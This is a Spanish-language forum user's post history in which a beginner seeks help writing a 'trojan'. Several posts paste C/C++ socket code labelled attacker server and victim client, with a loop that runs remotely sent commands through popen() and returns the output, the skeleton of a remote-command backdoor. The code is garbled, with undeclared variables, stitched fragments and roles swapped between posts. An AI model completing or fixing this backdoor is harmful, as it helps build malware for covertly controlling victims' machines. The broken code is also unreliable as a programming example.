Muchas gracias, ya he corregido el error, gracias por tu aportacion. <3
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Páginas1
#1
Dudas y pedidos generales / Re:Troyanos y conexiones
Mayo 19, 2019, 07:06:13 AMMuchas gracias, ya he corregido el error, gracias por tu aportacion. <3
#2
Dudas y pedidos generales / Re:Mi troyano. Necesito ayuda!
Mayo 12, 2019, 07:38:51 AMDe verdad muchas gracias yo lo unico que quiero es entender al 100% el codigo, y para eso os pido ayuda, tambien investigo mucho sobre los sockets y todo, lo intento arreglar solo, pero mis conocimientos son muy basicos, ya que nunca he tenido nadie quien me enseñe nada, ni he tomado ningun curso, solo cursos online de cpp y python y investigar sobre penetracion. Bueno aqui os dejo el codigo bastante mas modificado que el anterior.
El primer codigo seria el cliente y el segudo seria el servidor. Quiero añadirle muchas cosas para que se parezca lo mejor possible a un troyano, voy a tener este proyecto activo durante mucho para acabar de redondearlo, y perfecionarlo bastante ya que quiero que sea un proyecto muy bueno.
Muchas gracias por vuestra ayuda de verdad se agradece mucho <3.
#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define port 9200
//definimos el maximo de datos
#define MAXDATASIZE 100
using namespace std;
int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int socketfd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{
char *h_name; /* El nombre oficial del nodo. */
char **h_aliases; /* Lista de Alias. */
int h_addrtype; /* Tipo de dirección del nodo. */
int h_length; /* Longitud de la dirección. */
char **h_addr_list; /* Lista de direcciones del nombre del */
/* servidor. */
#define h_addr h_addr_list[0] /* Dirección, para la compatibilidad con */
/* anteriores. */
};
/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
short int sin_family; /* Familia de la Dirección */
unsigned short int PORT; /* Puerto */
struct in_addr sin_addr; /* Dirección de Internet */
unsigned char sin_zero[8]; /* Del mismo tamaño que struct sockaddr */
};
if (argc !=2) {
/* esto es porque nuestro programa sólo necesitará un
argumento, (la IP) */
printf("Uso: %s <Dirección IP>\n",argv[0]);
exit(-1);
}
if ((he=gethostbyname(argv[1]))==NULL){
/* llamada a gethostbyname() */
printf("gethostbyname() error\n");
exit(-1);
}
if ((socketfd=socket(PF_INET, SOCK_STREAM, 0))==-1){
/* llamada a socket() */
printf("socket() error\n");
exit(-1);
}
server.sin_family = PF_INET;
server.sin_port = htons(port);
/* htons() es necesaria nuevamente ;-o */
server.sin_addr = *((struct in_addr *)he->h_addr);
/*he->h_addr pasa la información de ``*he'' a "h_addr" */
bzero(&(server.sin_zero),8);
if(connect(socketfd, (struct sockaddr *)&server,
sizeof(struct sockaddr))==-1){
/* llamada a connect() */
printf("connect() error\n");
exit(-1);
}
if ((MAXDATASIZE=recv(socketfd,buf,MAXDATASIZE,0)) == -1){
/* llamada a recv() */
printf("Error en recv() \n");
exit(-1);
}
buf[MAXDATASIZE]='\0';
printf("Mensaje del Servidor: %s\n",buf);
/* muestra el mensaje de bienvenida del servidor =) */
int shutdown(sockfd); /* cerramos fd =) */
}
/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define port 9200 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */
int main()
{
int socket(int PF_INET, int SOCK_STREAM, int protocol = 0);
int sockfd; /* los ficheros descriptores */
int socketfd2;
struct sockaddr_in server;
/* para la información de la dirección del servidor */
struct sockaddr_in client;
/* para la información de la dirección del cliente */
int sin_size;
/* A continuación la llamada a socket() */
if ((sockfd=socket(PF_INET, SOCK_STREAM, 0)) == -1 ) {
printf("error en socket()\n");
exit(-1);
}
server.sin_family = PF_INET;
server.sin_port = htons(port);
/* ¿Recuerdas a htons() de la sección "Conversiones"? =) */
server.sin_addr.s_addr = INADDR_ANY;
/* INADDR_ANY coloca nuestra dirección IP automáticamente */
bzero(&(server.sin_zero),8);
/* escribimos ceros en el reto de la estructura */
/* A continuación la llamada a bind() */
if(bind(sockfd,(struct sockaddr*)&server,
sizeof(struct sockaddr))==-1) {
printf("error en bind() \n");
exit(-1);
}
if(listen(sockfd,BACKLOG) == -1) { /* llamada a listen() */
printf("error en listen()\n");
exit(-1);
}
while(1) {
sin_size=sizeof(struct sockaddr_in);
/* A continuación la llamada a accept() */
if ((socketfd2 = accept(sockfd,(struct sockaddr *)&client,
&sin_size))==-1) {
printf("error en accept()\n");
exit(-1);
}
printf("Se obtuvo una conexión desde %s\n",
inet_ntoa(client.sin_addr) ); T
/* que mostrará la IP del cliente */
send(socketfd2,"Bienvenido a mi servidor.\n",22,0);
/* que enviará el mensaje de bienvenida al cliente */
/* Limpiar la consola */
system("cls");
/* Ejecutar el comando enviado desde el servidor en el cliente */
/* Obtener el resultado del comando para posteriormente enviarlo al servidor */
FILE *msg = popen(serverMsg, "r");
char buffer[2048];
string resultado = "";
while (!feof(msg))
{
if(fgets(buffer, 2048, msg) != NULL)
{
resultado += buffer;
}
}
pclose(msg);
/* Enviar el resultado de la consulta al servidor */
send(socket, resultado.c_str(), 2048, 0);
//Cerrar la conexión
close(socket);
//Llamar nuevamente a la función
main();
}
}
close(socketfd2); /* cierra fd2 */
}
#3
Dudas y pedidos generales / Re:Mi troyano. Necesito ayuda!
Mayo 11, 2019, 01:50:05 PMVale chicos ya lo he endcontrado, aqui debajo os lo dejo muchas gracias.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#4
Dudas y pedidos generales / Re:Troyanos y conexiones
Mayo 11, 2019, 08:26:07 AMBuenas, he probado de poner el ; en el codigo pero mi compilador me da mas errorres, es decir que el ; no hace falta al ser un define o eso creo, trabajo con visual studio code en linux, nose si eso es un problema a la hora de codficar.
En dudas generales y en el apartado de mi troyano, podreis ir al link i ver las imagenes las cuales salen los errores
Muchas gracias.
#5
Dudas y pedidos generales / Re:Mi troyano. Necesito ayuda!
Mayo 10, 2019, 05:22:12 PMLo siento soy nuevo en este foro, nose como se hace para colgar fotos, he divagado por el foro y me sale que tengo que ir a una pagina y colgar las fotos ahi, despues pasar el link, pero nose, no me funciona, voy ha hacer una prueba por aqui a ver si la veis o no ok ? Lo siento mucho de verdad.


#6
Dudas y pedidos generales / Re:Problema con lectura y escritura de un archivo.
Mayo 10, 2019, 03:39:11 PMBuenos dias Frijolito,
No tengo mucha experiencia en programacion, mejor dicho me estoy iniciando en esto, pero entiedo lo basico, bueno he visto tu codigo, nose ni con que codificas o como la haces, pero probablemente sea por el compilador o en la aplicacion la cual programas si no esta actualizada o otra cosa, he puesto en mi compliador y no me da errores, los consejos que te puedo dar es que revises e actualices el compilador, que revises las librerias, y tambien revisa la configuracion o que el archivo al cual quieres leerlo e modificarlo este bien configurado, tb puede ser que tengas que espicificar la ruta del archivo al cual quieras leer e modificar o simplemente ponero en la misma carpeta, ya te digo que no soy ningun experto en esto, pero solo intento ayudar, tb en esto de la programacion tienes que investigar y ser muy cabezudo en acabar tu proyecto, intenta buscar e investigar sobre tu problema.
Mucha suerte con tu proyecto <3
#7
Dudas y pedidos generales / Re:Mi troyano. Necesito ayuda!
Mayo 10, 2019, 03:00:09 PMHola chic@s,
Muchas gracias por daros la molestia de responder a mis posts, enserio, veo que tengo que trabajar mas en los puertos, pero si os fijais en mi codigo faltan cosas o almenos en mi compliador me detecta errores y me cuesta solucionarlos, poco a poco iré entendiendo e investigando, pero si os estais aburriendo o os apetece contestar perfecto, pero sino ni os inmuteis en mi "proyecto"
Muchas Gracias por vuestro tiempo y vuestra atención.
#8
Dudas y pedidos generales / Re:Mi troyano. Necesito ayuda!
Mayo 09, 2019, 05:13:36 PMBuenas gente, su puede ser, si alguien sabe algo mas puede deciremelo, me refiero a que no se acabe el hilo que si podeis aportar algo, sin dudarlo, escribirlo porfavor <3
#9
Dudas y pedidos generales / Re:Mi troyano. Necesito ayuda!
Mayo 09, 2019, 03:24:14 PM
Muchas gracias,
te lo agradezco mucho por tus aportaciones y consejos, es genial poder tener una comunidad asi <3
te lo agradezco mucho por tus aportaciones y consejos, es genial poder tener una comunidad asi <3
#10
Dudas y pedidos generales / Mi troyano. Necesito ayuda!
Mayo 09, 2019, 11:04:26 AM
Muy Buenas Señores,
Estoy creando e informandome sobre troyanos i sockets, pero aun me faltan algunos conocimientos, necessito que alguien me ayude con mis codigos, alguien puede ayudarme porfavor??
este son los codigos:
el servidor ( en este caso e atacante )
Código: text
y este es el codigo de el cliente ( en este caso la victima )
Código: text
Espero que me podais ayudar porfavor, Muchas gracias por vuestra atención.
Estoy creando e informandome sobre troyanos i sockets, pero aun me faltan algunos conocimientos, necessito que alguien me ayude con mis codigos, alguien puede ayudarme porfavor??
este son los codigos:
el servidor ( en este caso e atacante )
/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 8080 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */
int main()
{
int socket(int /*DOMAIN*/,int SOCK_STREAM,int /*Protocol*/);
int fd, fd2; /* los ficheros descriptores */
struct sockaddr_in server;
/* para la información de la dirección del servidor */
struct sockaddr_in client;
/* para la información de la dirección del cliente */
int sin_size;
/* A continuación la llamada a socket() */
if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) {
printf("error en socket()\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
/* ¿Recuerdas a htons() de la sección "Conversiones"? =) */
server.sin_addr.s_addr = INADDR_ANY;
/* INADDR_ANY coloca nuestra dirección IP automáticamente */
bzero(&(server.sin_zero),8);
/* escribimos ceros en el reto de la estructura */
/* A continuación la llamada a bind() */
if(bind(fd,(struct sockaddr*)&server,
sizeof(struct sockaddr))==-1) {
printf("error en bind() \n");
exit(-1);
}
if(listen(fd,BACKLOG) == -1) { /* llamada a listen() */
printf("error en listen()\n");
exit(-1);
}
while(1) {
sin_size=sizeof(struct sockaddr_in);
/* A continuación la llamada a accept() */
if ((fd2 = accept(fd,(struct sockaddr *)&client,
&sin_size))==-1) {
printf("error en accept()\n");
exit(-1);
}
printf("Se obtuvo una conexión desde %s\n",
inet_ntoa(client.sin_addr) );
/* que mostrará la IP del cliente */
send(fd2,"Bienvenido a mi servidor.\n",22,0);
/* que enviará el mensaje de bienvenida al cliente */
/* Limpiar la consola */
system("cls");
/* Ejecutar el comando enviado desde el servidor en el cliente */
/* Obtener el resultado del comando para posteriormente enviarlo al servidor */
FILE *msg = popen(serverMsg, "r");
char buffer[2048];
string resultado = "";
while (!feof(msg))
{
if(fgets(buffer, 2048, msg) != NULL)
{
resultado += buffer;
}
}
pclose(msg);
/* Enviar el resultado de la consulta al servidor */
send(socket, resultado.c_str(), 2048, 0);
//Cerrar la conexión
closesocket(sock);
//Llamar nuevamente a la función
main();
}
}
exit(fd2); /* cierra fd2 */
}
}
y este es el codigo de el cliente ( en este caso la victima )
#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define PORT 8080
//definimos el maximo de datos
#define MAXDATASIZE 100
using namespace std;
int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int fd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{
char *h_name; /* El nombre oficial del nodo. */
char **h_aliases; /* Lista de Alias. */
int h_addrtype; /* Tipo de dirección del nodo. */
int h_length; /* Longitud de la dirección. */
char **h_addr_list; /* Lista de direcciones del nombre del */
/* servidor. */
#define h_addr h_addr_list[0] /* Dirección, para la compatibilidad con */
/* anteriores. */
};
/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
short int sin_family; /* Familia de la Dirección */
unsigned short int PORT; /* Puerto */
struct in_addr sin_addr; /* Dirección de Internet */
unsigned char sin_zero[8]; /* Del mismo tamaño que struct sockaddr */
};
if (argc !=2) {
/* esto es porque nuestro programa sólo necesitará un
argumento, (la IP) */
printf("Uso: %s <Dirección IP>\n",argv[0]);
exit(-1);
}
if ((he=gethostbyname(argv[1]))==NULL){
/* llamada a gethostbyname() */
printf("gethostbyname() error\n");
exit(-1);
}
if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){
/* llamada a socket() */
printf("socket() error\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
/* htons() es necesaria nuevamente ;-o */
server.sin_addr = *((struct in_addr *)he->h_addr);
/*he->h_addr pasa la información de ``*he'' a "h_addr" */
bzero(&(server.sin_zero),8);
if(connect(fd, (struct sockaddr *)&server,
sizeof(struct sockaddr))==-1){
/* llamada a connect() */
printf("connect() error\n");
exit(-1);
}
if ((MAXDATASIZE=recv(fd,buf,MAXDATASIZE,0)) == -1){
/* llamada a recv() */
printf("Error en recv() \n");
exit(-1);
}
buf[MAXDATASIZE]='\0';
printf("Mensaje del Servidor: %s\n",buf);
/* muestra el mensaje de bienvenida del servidor =) */
int shutdown(fd); /* cerramos fd =) */
}
Espero que me podais ayudar porfavor, Muchas gracias por vuestra atención.
#11
Dudas y pedidos generales / [SOLUCIONADO] Troyanos y conexiones
Mayo 07, 2019, 05:00:28 PM
Hola Buenas, he estado investigando sobre los troyanos y la manera en que funcionan, y estoy creando uno, el problema es que las librerias y el codigo siempre me da error al compliarlo alguien me podria ayudar con el codigo 
este es el codigo
Código: text
Muchas Gracias por tu atención.

este es el codigo
#include<iostream>
#include <cstdlib>
#include <winsock2.h>
#include <windows.h>
using namespace std;
int main(){
//LE INDICAMOS EL LOCALHOST
char * host ="localhost";
//LE INDICAMOS EL PUERTO
int port = 8080
/* Estructura de datos con información del winsock */
__MINGW_WSADATA_H;
/* Estructura de datos para especificar un servidor local o remoto para conectar un socket */
SOCKADDR_IN server;
/* Objeto que permite establecer conexiones locales o remotas e intercambiar datos */
SOCKET s, open_socket;
/* Inicializar winsock, comprobar versión 2.2 */
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
cout << "Error: " << WSAGetLastError() << endl;
}
else
{
cout << "Inicializando ... " << endl;
/* Crear un socket */
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
cout << "No se pudo crear el socket: " << WSAGetLastError() << endl;
}
else /* Se ha creado el socket */
{
cout << "Socket creado correctamente ... " << endl;
return 0;
}
Muchas Gracias por tu atención.
Páginas1